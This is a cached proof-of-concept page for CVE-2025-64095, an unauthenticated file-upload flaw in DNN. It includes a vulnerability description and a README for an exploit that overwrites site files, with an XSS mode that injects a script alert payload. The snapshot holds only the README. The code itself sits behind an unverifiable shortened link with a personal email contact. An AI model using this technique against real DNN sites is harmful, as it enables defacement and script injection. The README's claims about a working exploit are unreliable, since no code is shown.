CVE-2025-64095 PoC — DNN 代码问题漏洞

Source

https://github.com/callinston/CVE-2025-64095

Associated Vulnerability

Title:DNN 代码问题漏洞 (CVE-2025-64095)
Description:DNN（又名DotNetNuke）是美国DNN公司的一套由微软支持、基于ASP.NET平台的开源内容管理系统（CMS）。该系统具有易于安装、可扩展、功能丰富等特点。 DNN 10.1.1之前版本存在代码问题漏洞，该漏洞源于默认HTML编辑器允许未经验证的文件上传，可能导致网站篡改和跨站脚本攻击。

Readme

# DNN Image Upload Exploit - CVE-2025-64095

## Overview
This exploit targets a critical vulnerability in DNN (DotNetNuke) versions prior to 10.1.1, allowing unauthenticated users to upload and overwrite files via the default HTML editor provider. By exploiting this, an attacker can replace existing site files, leading to defacement or injection of XSS payloads.

## Requirements
- Target DNN installation running version < 10.1.1
- Access to the site's HTML editor endpoint
- Basic tools: curl or a similar HTTP client for sending requests
- Optional: Burp Suite or similar for request manipulation


## Usage
```
python cve-2025-64095.py --help
```
- `--target`: URL of the DNN site
- `--payload`: Local file to upload
- `--path`: Remote path to overwrite
- `--xss`: Enable XSS mode (injects <script>alert('XSS')</script>)

## Disclaimer
For educational and penetration testing purposes only. Use responsibly and with permission.

## Exploit
[href](https://tinyurl.com/2wdm4ej6)

For any inquiries, please email me at: eviedejesu803@gmail.com

File Snapshot


 [4.0K]  /data/pocs/28efbeef58f321b6ca45969cee4c3e558ac34b73
└── [1.0K]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!